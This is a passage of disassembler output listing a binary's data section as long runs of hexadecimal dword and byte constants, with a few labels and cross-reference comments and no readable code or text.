		dd 0EFC9010Fh, 6A087F4Ah, 2A6829DBh, 8E41445Bh,	0CE4922Ah
		dd 328034C5h, 0BEA345ECh, 270C020Ah, 9165CAA2h,	0C440D4F4h
		dd 0D802EAh, 0FC7C120Fh, 0EDBA534h, 25D3510Fh, 890A2118h
		dd 0D4238FA9h, 20A84901h, 61CCE1F8h, 0D8AAFC2Fh, 0C0A8E26h
		dd 4A72E070h, 6150E1DDh, 7883C9D0h, 0BCFE8F98h,	0A2543A80h
		dd 0E804B53h, 0AC904ED3h, 0F336DDE7h, 0BFF44702h, 0F8F08016h
		dd 14C18AB6h, 2C51737h,	1BC0498h, 15752204h, 39589886h
		dd 78261D50h, 9CC8A617h, 0ECD301F2h, 0B7566593h, 3112BEE4h
		dd 99D130AEh, 3B576888h, 2F900D42h, 54905F8Bh, 9097342Dh
		dd 8445622Ch, 259044h, 3BE4E608h, 0CAFA2AC2h, 0CB0FE900h
		dd 286103C7h, 6B883992h, 3CF89725h, 644284B0h, 368CC34Eh
		dd 0D60982FFh, 6E0C985Dh, 6798005Ch, 0CEE36C26h, 2F123FB1h
		dd 18C8118Eh, 180B503Eh, 8A2807E9h, 90AD0AE5h, 0E4D4EAA9h
		dd 90B3387Ah, 0A50B4980h, 0EED31D9Fh, 43501DC5h, 60970148h
		dd 0C03F39FCh, 895230A4h, 0B4B715Ch, 918034A2h,	0D615FCA9h
		dd 9B32E104h, 8EBBDECh,	3A81845Ch, 0B0EA71E4h, 8836BEC8h
		dd 0CA77CDE5h, 0A5B4F503h, 13FF2F3Dh, 0E92318h,	82D624C4h
		dd 7E3D9031h, 2837A63Fh, 852ECA09h, 0C802EDABh,	79BBE4E9h
		dd 531E47B0h, 0F9A3E7B0h, 25E9FCD8h, 340AA89Eh,	26B8B6h
		dd 0BD1B003Bh, 63177B36h, 0C2164E77h, 38C60CC4h, 1448E00h
		dd 368FCAD3h, 0C4CCB6B7h, 81E02718h, 22F2439h, 0C00A9CF8h
		dd 37406AB8h, 0E45F5058h, 0E4E7B44Fh, 0FCA8CDFCh, 0B03C5200h
		dd 90490C76h, 0E145B490h, 4F382083h, 748094DCh,	0E006A0BAh
		dd 54FB930Ch, 0D80C2A8h, 5002F6Dh, 2524F36h, 81F4781Dh
		dd 0BA8CEC63h, 3F120CE0h, 0B402C54Ch, 8F38BC62h, 58AA80D2h
		dd 841859h, 4ABA7A7Ch, 0FD999317h, 0BBDD6F02h, 40A7350Ch
		dd 9041B4h, 13AB185h, 0D87340FEh, 59005F7Ch, 8E46B29Eh
		dd 0C275A41Eh, 71E1EA40h, 700C7709h, 63301640h,	4E591923h
		dd 31BF7F0Dh, 89A82E72h, 51171048h, 0EB8D80F4h,	4B86F907h
		dd 0BF324E5Ah, 0A552C031h, 510203F7h, 7FF477DAh, 44734039h
		dd 0EF74283Fh, 0C8AC4374h, 55CB045Ah, 361E5F71h, 951A1EA0h
		dd 9447B894h, 0B4A04ED8h, 0D4808463h, 3701FF80h, 0DCA40AE0h
		dd 8FE01038h, 0DAF0CFh,	9190A552h, 93DFD79Fh, 45865500h
		dd 0E86F5846h, 7C849FCAh, 4A8902DCh, 9B906038h,	0A25F4030h
		dd 28D99800h, 0E7423FBAh, 0B45E8032h, 0C4185Bh,	0EB9F04C0h
		dd 0D4910B61h, 9482DA02h, 0A85644ECh, 0E2FD7F0Eh, 9C41D27Eh
		dd 0E8402320h, 8613E82Ch, 0CD0754CAh, 0A7F0778Fh, 25EBB0A9h
		dd 0E8E03D85h, 8AC29D00h, 0E7835349h, 0F55C002Dh, 0DF72449Bh
		dd 0B0009E14h, 96E4516Dh, 0ACDEA8Ah, 3A460CBCh,	6D026C0h
		dd 9089A0C4h, 6312DE09h, 5740A144h, 16AEF34h, 785B500Ch
		dd 3A188C9Fh, 1B98A0E9h
dword_545350	dd 0D9BDD97Fh, 4CD74EC0h, 0F12E4Eh, 998AFF5h, 0CF6E214Ah
					; DATA XREF: ___:off_4444ECo
		dd 0F53D4C03h, 0C8F1B262h, 7001D35Dh, 304B13Eh,	9AC06B14h
		dd 0B218177h, 0A1F408D6h, 0D50B8822h, 200B1CB7h, 48B8814h
		dd 9820D985h, 4CE819DFh, 0F3B82334h, 74394511h,	0C8162060h
		dd 0AF02CA94h, 0C4D4AB46h, 0EC8C7D10h, 175E2BF0h, 0E79FD890h
		dd 88D2D98h, 0CE8368E3h, 248C085Dh, 350355C5h, 0EF44F4EBh
		dd 0E34F6E60h, 87B2CFFh, 11502684h, 3FB900D8h, 15B6CA75h
		dd 0BCEF1EE6h, 9881C0EAh, 0DC19712Ah, 0F0C9E300h, 1290ED44h
		dd 0B0E50010h, 29D44CDEh, 0C5071C37h, 9883DD17h, 0D5E30320h
		dd 608B3CE6h, 0A30B9980h, 0B5DDCE1Dh, 0B939B300h, 9FDFD8C1h
		dd 24121E48h, 3109C0E3h, 4EA09C32h, 6D21E00h, 7680A17Ah
		dd 7A90066h, 602EE2EDh,	33004F84h, 14FD6515h, 4DFC28h
		dd 7BD58E50h, 9A1A6139h, 0D30762F6h, 36D23C90h,	4CAC7316h
		dd 0A8030D01h, 7F86EB9Bh, 5D8D4DD0h, 9EAF800h, 90F230DEh
		dd 7CD30FADh, 391BB6F7h, 0BCBC49D1h, 0A2CE0020h, 82369928h
		dd 6ABD01FDh, 0BFA659D1h, 0ED2C05Fh, 1BEFCF01h,	0EC67DA3Bh
		dd 9BF16081h, 0E3443150h, 533EC990h, 0EF18B765h, 0E36D0C83h
		dd 0B419C077h, 769303DDh, 80FF8CF3h, 64CAD7F0h,	503FCB31h
		dd 8980B74Ah, 547A4FDCh, 3E0303C5h, 0B4278AF3h,	2F5D9048h
		dd 1F56038Fh, 0BF356830h, 0BDEDC900h, 383EE16Dh, 49D6674Ah
		dd 0C0D487F1h, 0C2AAE7B5h, 2D229900h, 0FBDA4E72h, 530500BAh
		dd 69D94D93h, 90067102h, 0AEE619D7h, 0E9AC0060h, 27CD8F55h
		dd 20E7A1Bh, 0A09229EAh, 1E63ED1Ch, 58790E6Ah, 8A4001C1h
		dd 20E781D4h, 0DA44090Eh, 6D313814h, 4B423AA6h,	0FD00ADBEh
		dd 2F5EE9D7h, 900FCEFh,	0BD1C9A99h, 6C6B4Ch
		db 38h
byte_545541	db 8Fh,	60h, 0A6h	; DATA XREF: ___:004447A8o
		dd 76AD4581h, 14F2EF7Eh, 1071CF00h, 1FD626Bh, 0E9293FA3h
		dd 0D760F533h, 15B339B8h, 0BAE1EB00h, 36A0B061h, 21796108h
		dd 0D4EF91E9h, 7A01B5DAh, 175EFEE3h, 80BE193Fh,	12F5B20Fh
		dd 9A0C2C2Eh, 8F002930h, 64DE83Dh, 0F4569DFAh, 5080008Ah
		dd 5AF2B7C3h, 87181294h, 0A610C4ECh, 750F017Bh,	0C9F6AEA4h
		dd 8C8EB821h, 50FE16DAh, 6F081B92h, 80109123h, 6073EA33h
		dd 0A97FA920h, 0C10AF59Ch, 0A00419D9h, 21F9B1B9h, 6AD903D0h
		dd 243FF5F0h, 1E28AF8Bh, 7A164FB3h, 912A4E60h, 0E50F54D7h
		dd 4778DE8Fh, 0E2709769h, 3E6D23Ah, 8DF2C3BEh, 26005015h
		dd 4B9E6717h, 0CD93E8Bh, 1EEB08E8h, 8590F319h, 0EC1D9B03h
		dd 0C8416494h, 0E3E8892h, 0BD2D17E4h, 364710A0h, 0CF00EF29h
		dd 65895798h, 0C028E60Ch, 4E927118h, 0F0FC8BEh,	36E3166h
		dd 0C0C55963h, 3D654DF2h, 6A8C4FD9h, 8A586726h,	72E3EB1Ch
		dd 0B53F807Dh, 0FB9238Bh, 3AC1F077h, 28E093ACh,	19611B8Ch
		dd 0DCB718C1h, 998E6F5Dh, 0A2C3DD5Ah, 681E8A87h, 0A4C0BCF4h
		dd 46E33649h, 4A0C3BF2h, 1967A063h, 356A6F90h, 0EC5181C3h
		dd 45896A8h, 25634DAAh,	411C03B4h, 0F5180013h, 1AE66F69h
		dd 370318ECh, 87F26AB8h, 568CC01Eh, 6E2305C1h, 0C1FBD76h
		dd 0CB903EA4h, 83086042h, 4414B89h, 65002D6Eh, 7050EB50h
		dd 0F661EAC0h, 69D1B50h, 0CB10744Fh, 0FAC8E160h, 9732C040h
		dd 0F00F06CDh, 682526BCh, 0F1C120F0h, 2970B357h, 453A9BCh
		dd 0B23019E8h, 0F4C1012h, 0EC1509D0h, 1956336Eh, 4ECACF03h
		dd 0A719C86Fh, 3E5E06FFh, 29D1604Dh, 661F20h, 85919BB5h
		dd 10062926h, 7DAD9C00h, 0EFFB1299h, 867E66h, 137AEE68h
		dd 140835Bh, 0B70CD300h, 2F96498Bh, 5FC2000Fh, 0BF285AA4h
		dd 1D00C19Bh, 74408845h, 1E789261h, 0E4BB16Dh, 0DDA0D52Bh
		dd 4D5FB37Fh, 0BD06DB00h, 8A17F581h, 0E9CE0071h, 4C13A809h
		dd 49E2B7D8h, 0B923D00h, 2F3C5054h, 441C00BEh, 86314DEh
		dd 4000BBD9h, 0F26F2E60h, 568EE8Ch, 607AA3Bh, 0EB94036Ah
		dd 0C6E0522Ch, 7F0028B1h, 1DB2980Ch, 25FC733h, 0C092F48Eh
		dd 0BEC03060h, 0CD001708h, 7293E0Dh, 0FB1BB5h, 5B9DFEDDh
		dd 18B9D03Ch, 530B3303h, 0F8E72146h, 0EE8A3B1Dh, 325E0009h
		dd 7C92BF89h, 0F7008F72h, 9E37F3F4h, 7B63E9A7h,	7D6A0079h
		dd 7614B63Bh, 0ED0592A9h, 154A015Ah, 0DA2E0EC1h, 94967680h
		dd 6C0A5113h, 4B011C00h, 0DE0CD756h, 6D57008Ah,	0F892A595h
		dd 6A09BA1Dh, 0E85A25h,	86308B08h, 0A2DC05DDh, 85635311h
		dd 8C4483EFh, 6893DFBh,	0B57C60EFh, 0FEDFFB03h,	0FD564489h
		dd 13CC87C0h, 43550079h, 0A42FED5Bh, 20077C67h,	0E9C46039h
		dd 0ED0F740h, 377800B5h, 0F0595ECBh, 93003863h,	9D94C5ABh
		dd 5B2E99h, 8B258866h, 0C8F47C8h, 16B75200h, 1B449A85h
		dd 66E289h, 0C3E99E9Ch,	2E8E34FAh, 0AF1C8800h, 9945333Ah
		dd 1FC61264h, 5740040h,	7774E10Ch, 0C0565900h, 48CCDDEBh
		dd 406A0563h, 0C0F4D5D6h, 0ABC2CB10h, 6D917300h, 0BC06FD23h
		dd 80460099h, 0F3D0123Fh, 0AF1278CAh, 504791EBh, 37C0C5B0h
		dd 7DD5AEh, 32C2FE01h, 51052385h, 0FB93B900h, 30F6C96Dh
		dd 40AD0781h, 0D0F07ADFh, 50267506h, 0F2485C60h, 6E57241Dh
		dd 0E0C01104h, 3E7DA4D3h, 5902B600h, 79BAB7D9h,	1E96FEC8h
		dd 47AB44Fh, 8016A364h,	0AC2C4BE0h, 8F6AF20Fh, 8EB34908h
		dd 0ECCF1D92h, 1F9F4A5h, 2F1712Fh, 0E6EC6C78h, 0BB553DD1h
		dd 4593C181h, 0C9065D0Ah, 0BFE0C7C2h, 0B9FC8935h, 278E791Fh
		dd 7DACBE40h, 6067AAD8h, 0C012056h, 3B004DAh, 14A44300h
		dd 7602B30Eh, 7FD10069h, 90C081B2h, 8404478Eh, 1A6CBA43h
		dd 517040D7h, 0BBB701h,	9D7C365Dh, 5A0FC4A5h, 6A1F900h
		dd 8094FDCEh, 96D00D3h,	887DCF73h, 620091EEh, 0C2F24B57h
		dd 12A7B6h, 1C4F447h, 4284D050h, 0B0AB68C5h, 51438C5Eh
		dd 0F8DC3853h, 6FBE24h,	31AB63EAh, 920FD2C5h, 6A33A800h
		dd 0CD9107F3h, 0EDEA0050h, 0B97F9834h, 2E009E20h, 61F4F817h
		dd 42BE26h, 0E0847C3h, 930AD3C8h, 8046A03Fh, 0AF54246Bh
		dd 1FD20C1Ch, 0AC39782Fh, 8C700044h, 0EE79551Eh, 1807C000h
		dd 293CC964h, 1ED6723Ah, 0C05FF74Ch, 1AEE15A2h,	0EA00FEC5h
		dd 0AEC89280h, 883FBFh,	792DB957h, 0EBBB3B86h, 0AAC1200h
		dd 0DF44716Fh, 0A9031726h, 8D840359h, 80F07C69h, 30095468h
		dd 209C5CCDh, 65888984h, 14FA00F1h, 5A707BDAh, 0E671C551h
		dd 0E5EFC375h, 3E4EF43Ch, 14EF2F00h, 8B79A6EAh,	0C21C0037h
		dd 4C96BB03h, 0FC044778h, 1AD6702Bh, 55413402h,	53B2D468h
		dd 0C10D7B1Fh, 0F2810BC0h, 236C9Fh, 494D89D2h, 2A92A2F9h
		dd 0C633803h, 80905D85h, 3F5B53h, 0D6E9585Fh, 488C5CB7h
		dd 1DBEFA00h, 653441EBh, 2785002Eh, 8B2B5280h, 933BB79Dh
		dd 59210768h, 95107FA0h, 39CC2E9Fh, 0A41D206Fh,	9209805Bh
		dd 2D4C6897h, 39482F77h, 305F2412h, 50EC100h, 981AB9Fh
		dd 4C7BCD95h, 0A94E3400h, 0FE009396h, 0DC131FDFh, 16735190h
		dd 81D90550h, 60668DB0h, 2D007010h, 0BAFB0EE8h,	763A4607h
		dd 7941007Eh, 0C8EE552Eh, 3239AAB0h, 9C951369h,	83777400h
		dd 8F1412h, 0F0A2F830h,	411FB75Eh, 16A8DF12h, 838B3840h
		dd 19E9869h, 0C8FC430Dh, 0DDAB49B2h, 41CED9h, 0E251C022h
		dd 5504A900h, 58BCEFDFh, 30370053h, 8D9DAFD0h, 0F4E10BB4h
		dd 5E376E12h, 42905A4Dh, 7282CF05h, 4A1400CBh, 96890EBFh
		dd 8D001748h, 0F591707Ah, 5D6DD24h, 32379A1h, 0D41CD078h
		dd 630090EAh, 0BDAB3555h, 0D1E329h, 5DBF3F39h, 28931FE0h
		dd 0BBEA8E00h, 1A487185h, 0A9CF00E5h, 8B0467Ch,	0F00A6DAh
		dd 0EE073D6Ah, 38629BCAh, 0C2002752h, 20608731h, 0D417E494h
		dd 58417A4Dh, 3B5A6A8Eh, 30C04CD0h, 941913ABh, 6B073D54h
		dd 6EA18B23h, 0CF9582CEh, 6DD083E8h, 4405E03Bh,	56903B16h
		dd 98E35983h, 4D9837A6h, 0C52EEF43h, 0F01FF055h, 6896098Ch
		dd 78549AE9h, 3D522E3Fh, 0B99F98h, 989E833h, 84007190h
		dd 35A98855h, 6EE465h, 0D6D9F0B7h, 0C233193Eh, 54A1C07Eh
		dd 10604E8Ch, 0CE813A2Ch, 0F1467B09h, 8F13E0B8h, 0D1B79F0Ah
		dd 0FD0798CDh, 0EAE076E3h, 45EB8Ch, 0DA25B4AEh,	4DC4E03Ch
		dd 0CCF6AC00h, 0F06EF7AAh, 0D040BD0Bh, 11006C85h, 0E22098F2h
		dd 3CC073CFh, 0D000075Ch, 1A2F2CCAh, 6E019B02h,	5C1D8E9h
		dd 0A6EC4C34h, 0E8F800B8h, 9FECC49h, 3A1C505Ah,	0B343F411h
		dd 90364EE9h, 0BA15BE17h, 43E0020h, 6E9F29F8h, 39198A9Bh
		dd 108D365h, 0C02B2180h, 0AD180329h, 5001CFE4h,	0AFABDA37h
		dd 3024726Eh, 908C77DCh, 4B752Eh, 3DD5CB0Fh, 0FD6CF38Eh
		dd 0B900777Eh, 1E7DA6A2h, 30042EECh, 0F7181619h, 8640CE69h
		dd 0DCD750B3h, 0A83A4E8Dh, 188936D2h, 14EDF889h, 0C4CDB066h
		dd 0FAC13783h, 59BA8EE8h, 0AA96E919h, 21803D08h, 55FAB8D5h
		dd 560FA12Ah, 8FE00FD4h, 1D90409Ah, 49F008ECh, 0F306143Bh
		dd 70844A79h, 8635DDF9h, 15666F19h, 0A2A73A51h,	0B1867A18h
		dd 0D307568Dh, 0D8FC18E5h, 7F3D02Ch, 8E5B6CA4h,	0B015A007h
		dd 47487CF2h, 0C2A100F9h, 1EAF4833h, 0AC60093h,	0E04B6495h
		dd 0F90069EAh, 0D8F2985h, 305A6E71h, 9FFCF107h,	10007C9Ch
		dd 334A448Eh, 516D41h
		dd 0F2F77FB8h, 192C1583h, 0CA188C0Dh, 22CCC225h, 6D111A93h
		dd 4173045h, 1D1F0A41h,	36191080h, 44401015h, 8921B90Fh
		dd 12DFBF6Eh, 0C30A00FDh, 18F88D1Ah, 29146223h,	7027220Dh
		dd 1B178868h, 900F8F88h, 83E8421h, 484EEB48h, 3CF5940Ch
		dd 280AB211h, 32214FFh,	2549220Bh, 5389C67Ah, 9441008h
		dd 4D22845Dh, 98274406h, 4BFF6D00h, 0D2CBFAEBh,	44436F78h
		dd 0ACE1D041h, 353520CAh, 8767D739h, 0BCD30D49h, 875D9B20h
		dd 524711Dh, 0B070A310h, 4BEAC069h, 611FE553h, 5C005A91h
		dd 0A49CC128h, 3EA0004Fh, 9FB799F5h, 9B004596h,	913AFB33h
		dd 5D1EFh, 479762A8h, 0B316ED9Ch, 0E6C35D17h, 5A274E00h
		dd 758618FCh, 0E97A0EB5h, 72815294h, 0FCDC1F22h, 90083D7h
		dd 131120BCh, 708F996Fh, 0D43400CCh, 0D8B31902h, 95004ACAh
		dd 42E39694h, 9D6C1F0Dh, 6FDF2660h, 69557C00h, 6E9484B6h
		dd 0F0ED00ABh, 2DD517EBh, 15004007h, 4EA496C6h,	3C98CC8Dh
		dd 0B001F030h, 0E9DFDAD8h, 35AD4FFh, 84BEC500h,	20736385h
		dd 74F107D3h, 0D09F6CEDh, 6B181339h, 0C4024DB8h, 0BFB9C130h
		dd 3BDB6170h, 7404824h,	201DB17Fh, 715AF0E6h, 6800F19Fh
		dd 5FF68042h, 27A7759h,	58C294AFh, 0C16269B4h, 65B113C0h
		dd 6068E830h, 1064F067h, 8F7A4EDh, 44B2D0h, 0BC6E5C6Ch
		dd 251451F8h, 8C8DA8h, 4306E970h, 0AFDC54h, 907FADA1h
		dd 0F6629208h, 59074071h, 0D1F3CB49h, 8DEA3780h, 0EAA98ABh
		dd 0B23BD57Ah, 91BA0136h, 0D4A9FE3Dh, 4009B7Dh,	92022AF9h
		dd 0D687DBh, 202CE934h,	24AB7978h, 7ED9A600h, 0BCB8A29Eh
		dd 0F57D00ADh, 7345EAC3h, 3B0021EEh, 9105D56Fh,	1C83A4C1h
		dd 0C67EECh, 5EF69F2Dh,	6C30298Ch, 0A7FBD060h, 148500B6h
		dd 0B31E5C26h, 0E77543A5h, 0A0EA9F02h, 402769BBh, 7A23F8h
		dd 7708781h, 93FE124Eh,	849AD500h, 546827E1h, 0EFB00762h
		dd 0B9BBB85Ch, 210F1820h, 980A096Ah, 8C91F569h,	0FDC1EF80h
		dd 5B528Fh, 6BA52966h, 0F7B86A5Ch, 44B6E31Ch, 0E0E2984Eh
		dd 45BE6E7Dh, 83E0C08Dh, 0BB551AFEh, 53006AF0h,	6D89DAD4h
		dd 7A4940h, 0DE0C6B99h,	2923F15Dh, 0DA000D7Dh, 629E47E8h
		dd 11585F4h, 59E3B6FBh,	32BAA80Ah, 98B85464h, 9331A02Ch
		dd 0AC90EF03h, 83889262h, 0D31D8FF4h, 17ED9838h, 0F98900BAh
		dd 0D33ECDB2h, 610C01F0h, 0CE8AC533h, 0CB5100DBh, 0CB37103h
		dd 6A1F6EFFh, 0EB165796h, 0A1C09A1Dh, 6F1CA676h, 44044806h
		dd 0AEBD4405h, 1FBBC89h, 46094C0Dh, 0D840A856h,	3CF99Ch
		dd 8BCC7EF0h, 24550777h, 97CFBB00h, 0AE709344h,	658D03BAh
		dd 28B09F0Eh, 6806C698h, 90618824h, 0A6D50100h,	0EEA1D3B3h
		dd 2B5F00FAh, 0B8A787BBh, 32001489h, 3F5D123Eh,	7FAE1D50h
		dd 0FBA40375h, 84EF0502h, 580B7900h, 606D5218h,	58574CE3h
		dd 0FC37900h, 7EB8245Ch, 0DAAFE412h, 0FCC27801h, 48302C8Ah
		dd 2837C1Eh, 0AC15594Dh, 0B88AC6DFh, 8AB9035Dh,	0C1F8E59Ch
		dd 5000B13Fh, 84237138h, 7C8C45h, 2C35B0CBh, 0BA264879h
		dd 74B75A00h, 103851Eh,	84E158B5h, 0D9003B39h, 0BAB09EAAh
		dd 0AE00EFE5h, 1DC9567Bh, 1862D0B4h, 408AEA57h,	0FD00DD72h
		dd 0C519DA2Ch, 38B5D7h,	42CEAD30h, 41D2E4B8h, 1A76C400h
		dd 21981C8Eh, 395F1351h, 0DB044096h, 54916975h,	24178800h
		dd 4D3F2ACEh, 4A1100EEh, 33E2A85Dh, 5600D487h, 800358B5h
		dd 211EB0h, 3B61DA8Bh, 16AEDB68h, 6C0711C0h, 88350A9Ch
		dd 0EE0006CAh, 9793A381h, 7D08ABh, 0E2D3481Bh, 5C5AF9Bh
		dd 0EAF3E400h, 6D40F7F6h, 71BD01B5h, 0A3093517h, 8060FEA1h
		dd 0AB39DBF8h, 0C514800Eh, 0A49EFFEBh, 1D2B030Ah, 77A77CB5h
		dd 544020DFh, 23006F49h, 39D3DD9Ah, 0F5F7A0Ch, 0F7022B8h
		dd 9F9DC260h, 270EC8B5h, 60FA3CA4h, 0AEBC4A99h,	3018FCDFh
		dd 8FF0A7E2h, 92127632h, 0AC0038DAh, 3B417FACh,	0D9FC0063h
		dd 142EF9F6h, 2724D843h, 6A00E8EDh, 0E6952A6Eh,	0E39C002Fh
		dd 60E9178Ah, 52E6D121h, 1D15EB00h, 4625AE9Dh, 0B17AC7h
		dd 0C1FFA266h, 0D979E8BFh, 1ED38700h, 0B7657177h, 8B208h
		dd 1B3C1792h, 0E058B263h, 83B97900h, 42AA3F11h,	0A3641F5Ch
		dd 80C026ECh, 6C444780h, 0FD00DEFFh, 88714518h,	75BCDF9h
		dd 0B76A07F8h, 28A42A24h, 9DC700D4h, 7BF3C914h,	0A00E699h
		dd 0AC7856F8h, 0F2B96653h, 80F6076Dh, 737152B3h, 0A00849B0h
		dd 417CCCh, 3E0C7F68h, 620EFD20h, 43B854FCh, 91602F86h
		dd 90418823h, 0D16047DDh, 0B058C1AAh, 0D4A40C6Ch, 40004BBDh
		dd 3270D257h, 0FB8E41E0h, 42F8D0h, 0A59AC371h, 7A28B350h
		dd 1827E800h, 4A68825Eh, 89AC0017h, 0A7A3EE8Eh,	2C00C1BBh
		dd 6ED7CC25h, 7D34A5B9h, 0AFBD00DDh, 1A7E7923h,	8079855Bh
		dd 4F086E01h, 0DB93FB11h, 11755ECh, 14799954h, 813AA2CFh
		dd 0E4B9F8D8h, 6BC445C9h, 0FD13C57h, 9B59DE8Fh,	212729E0h
		dd 3100B1CAh, 6BCC96B3h, 521EA0h, 0D9ACE9F6h, 27346F7Ch
		dd 89FAC902h, 0C0F1D108h, 1C660C6Ch, 40022EC8h,	0A33EBFADh
		dd 6214576Eh, 1CCCF60h,	94F34035h, 63EC83B3h, 0AE660055h
		dd 9728F2EFh, 0D700292Ch, 5B3577DFh, 2EED1F4h, 0C02E6303h
		dd 605F4CB1h, 2C516161h, 1241776h, 7F444E22h, 40CC2029h
		dd 0FB683E1Dh, 644B0880h, 12065Eh, 2D2A857Ch, 0AA21070Bh
		dd 100CCB2h, 7F0AA095h,	9890EE57h, 0E9AF003Ch, 0FEF0DAF7h
		dd 0B10FED43h, 40A17FB4h, 0B0226D1Fh, 3710050h,	0DBA56F1Eh
		dd 0FD059A7Ah, 528628FBh, 7F2C5490h, 672012E6h,	695C00E2h
		dd 0C3DBBD1Bh, 0C0E36601h, 592AA147h, 90B636C8h, 151C0620h
		dd 40610E34h, 5C0C3301h, 223E0AF8h, 4C7246C0h, 3A012A15h
		dd 5753FFCFh, 0B9388BC0h, 0DE48803Eh, 0EC37033Fh, 87AE2692h
		dd 60C180DCh, 0C911395Ah, 0EBE65D1Dh, 0F08460B3h, 1F0ED05Bh
		dd 0BA592787h, 0E2E3B080h, 742F3D98h, 0B685230Fh, 0CD91603Ah
		dd 1A9DF8h, 0E4EC7E58h,	6B6D05DEh, 0F9922901h, 0F05A09C5h
		dd 175373C0h, 20338028h, 0B7F6C708h, 9A449113h,	75082C00h
		dd 5A02E3h, 9728157h, 1BA33B50h, 0FA1F5302h, 6088F1C3h
		dd 55679h, 8FC46F5Bh, 19E6640Fh, 2A7FFCB8h, 0EF882B03h
		dd 98269432h, 1B0266h, 57F48547h, 1715F648h, 2E3A9300h
		dd 9A696407h, 0F8580E24h, 19407B14h, 7FA29296h,	28E03900h
		dd 0AA95ED2Fh, 29DF078Bh, 0E042BF6Bh, 2615F762h, 0B4224D0Eh
		dd 908043A6h, 4EF2A8D6h, 6B1600DDh, 0E8A00705h,	900C0EDh
		dd 80AF46CCh, 0FD405Fh,	0EE4B82F6h, 0B9E62C2Fh,	0D8D64300h
		dd 0C02021D0h, 7D3A0028h, 7F6541B8h, 0D099988h,	53251A4h
		dd 0A8CC3420h, 2FE940E1h, 0B7C6AA03h, 893F0D6Bh, 6FDC99F7h
		dd 1C35EA9Fh, 0C0130h, 3476D958h, 4D12EE5Ch, 0B4003AC4h
		dd 0E6177007h, 73EA1C77h, 548FBCA0h, 5809FFFh, 52559727h
		dd 82BB5125h, 60B8AE7Ch, 7532C60h, 5408EC4Ch, 635B7087h
		dd 0D900BB15h, 1E1975C8h, 244C3D95h, 0C47CD5h, 402A44BFh
		dd 96092F64h, 9410A3h, 0DBC843B8h, 0E3D0B25h, 0D4809B75h
		dd 58EDCDD3h, 0DCAE0A00h, 0FC579FE5h, 0B23E0027h, 0D2222B99h
		dd 0C308F18Dh, 76F5CCh,	3994E45Ah, 0EDB8B4BEh, 0C2139D00h
		dd 520A2DD7h, 26CC00E3h, 0CFA1A940h, 770003CAh,	3173F5D3h
		dd 7108015Dh, 0D0961D97h
		dd 8C00A527h, 1E9ADA94h, 3BB48100h, 0F5D6B14h, 10AA0076h
		dd 0D73CDCF7h, 0E42461F2h, 71002895h, 0D32D1F22h, 8B7F33h
		dd 62E7BB3Eh, 6E6FD01h,	0F420D00h, 4EE4F42Dh, 0D8AB037Dh
		dd 362C34A4h, 12901AF8h, 4982A71Ch, 6B990C40h, 1856FC10h
		dd 162664BBh, 0C100A96Ch, 8019F891h, 218B45h, 856555E0h
		dd 0A7D73067h, 322B3900h, 7FF624C7h, 6C2101E5h,	4553A5BBh
		dd 2BE1D068h, 288511C0h, 9A639814h, 176B074Ch, 72EC75E4h
		dd 3446DA5Eh, 0B62120h,	86F8036Fh, 0A4ACDD54h, 6995A500h
		dd 7E659C5Fh, 0EA2E63Eh, 0C81B1F84h, 7F797860h,	0F80047BAh
		dd 4968993Bh, 0DD6F74h,	0D4665485h, 0CB9C23F1h,	20001674h
		dd 380C69F6h, 3053BB7h,	0C1138B17h, 7200A35Dh, 99B41166h
		dd 0FE4D21h, 0C99A10E2h, 85318E6Eh, 0D216930Fh,	2757A1BEh
		dd 24208CDEh, 78EF1372h, 81181C0Fh, 0C184754Ch,	603461B3h
		dd 2200BACCh, 0F27A0B3Ch, 3ACE536Ah, 5AC1FCAh, 0B93F01D4h
		dd 30147042h, 0C400E66Ch, 3E37DED6h, 1EDFE0F5h,	0B99D0306h
		dd 93759880h, 10D72DFFh, 0AACEBA2Eh, 0A356B300h, 0FA536Dh
		dd 0E842FC77h, 20B980F1h, 950AB405h, 0A480235Dh, 0DCBEDEh
		dd 0DA0768Eh, 0EBCCD44Eh, 4F00AAFCh, 0F4D94ACEh, 5C2D3CBh
		dd 575B792Bh, 142080B6h, 600759Dh, 3FC1E24Fh, 3313976Dh
		dd 3BC0CC36h, 22A94EF8h, 0AD10CD64h, 10B4CE0h, 17F8DC3Ah
		dd 0C4C86BE8h, 5F2E31Dh, 7849A5Ch, 0B5C22B80h, 0E92A8ED0h
		dd 95A700D3h, 0DA6D311Ah, 18921FC1h, 0DE71E812h, 0CCCE9300h
		dd 0E25759CFh, 0F17517C4h, 84E0430Ch, 5E10E77h,	6394EC3Fh
		dd 0ED6CF500h, 0D3E4C1DDh, 2F370099h, 0EB1E8387h, 63EA9DD2h
		dd 0D49D0A0h, 5BAE9E00h, 59BABC6Eh, 0A4345CE4h,	0F69ADB38h
		dd 4280603Eh, 0F1323650h, 0BCC39B00h, 68A257Bh,	15B11347h
		dd 9C110093h, 38025E9Eh, 8E4BD83Fh, 0C3D5A1BEh,	885B2984h
		dd 0E4A6B513h, 45BD1774h, 0A54004Dh, 0D2BA122Dh, 94630502h
		dd 0C0E13D0Eh, 0B9174D8h, 0EC2C5728h, 23A6F0A3h, 0FA84C5E8h
		dd 3F00AA90h, 6B2E2A13h, 8D0CACh, 4149566Ch, 828AB96Fh
		dd 40C4CD2Eh, 0A15D0Eh,	2C807111h, 0C12D008Fh, 95F343B6h
		dd 844EDD99h, 44CEE840h, 0E70151h, 5A8F3F18h, 0C92D9E67h
		dd 0ED35AC0Eh, 8FD28F90h, 0EF27C07Dh, 0F2D706F0h, 140CB881h
		dd 98424EC1h, 400DCC17h, 2B4399E4h, 0CD002425h,	166EADB2h
		dd 0F53B3Dh, 0C706059Dh, 743FE0AAh, 0CA263300h,	51AD80FDh
		dd 3B080083h, 1C614EDDh, 4B501E25h, 0D42E3298h,	0D382EC3Ah
		dd 602C72B3h, 24B89ADCh, 30868A8h, 1486B4E1h, 5B9802ABh
		dd 9A3D8AC0h, 0EA1800E7h, 719E1274h, 0F01F00BDh, 1B550E7Ch
		dd 0E31C5C05h, 2B84CEE4h, 30F0586Ch, 0C0C900B1h, 61E55E02h
		dd 6F5DA2D9h, 64AC0ACh,	1796F1B8h, 1D709C04h, 0AB1C7BF8h
		dd 40A11EBDh, 1C827C51h, 0D97E26DFh, 0D2559800h, 5DB32DFBh
		dd 74587AB5h, 0DBFA9Fh,	0D311EF56h, 0A1A49CC4h,	0C52FDD00h
		dd 2C89665Bh, 0B0D40118h, 57C393AAh, 2116F1A7h,	5F1440BEh
